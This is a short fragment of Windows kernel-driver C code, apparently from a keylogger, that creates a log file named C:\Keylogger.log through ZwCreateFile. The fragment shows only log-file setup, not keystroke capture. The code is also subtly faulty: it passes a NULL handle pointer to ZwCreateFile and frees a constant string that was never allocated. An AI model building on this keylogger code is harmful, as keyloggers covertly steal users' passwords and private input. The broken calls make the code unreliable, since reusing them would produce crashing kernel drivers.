PHANDLE pFileHandle = NULL;
UNICODE_STRING uniLogFile = RTL_CONSTANT_STRING(L"\\??\\C:\\Keylogger.log");
OBJECT_ATTRIBUTES objAttr;
IO_STATUS_BLOCK IoFileStatus;
InitializeObjectAttributes(&objAttr, &uniLogFile, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwCreateFile(pFileHandle, // 创建日志文件
GENERIC_WRITE,
&objAttr,
&IoFileStatus,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(status))
{
return status;
}
else
{
KdPrint(("ZwCreateFile success!\n"));
RtlFreeUnicodeString(&uniLogFile);
ZwClose(pFileHandle);
}
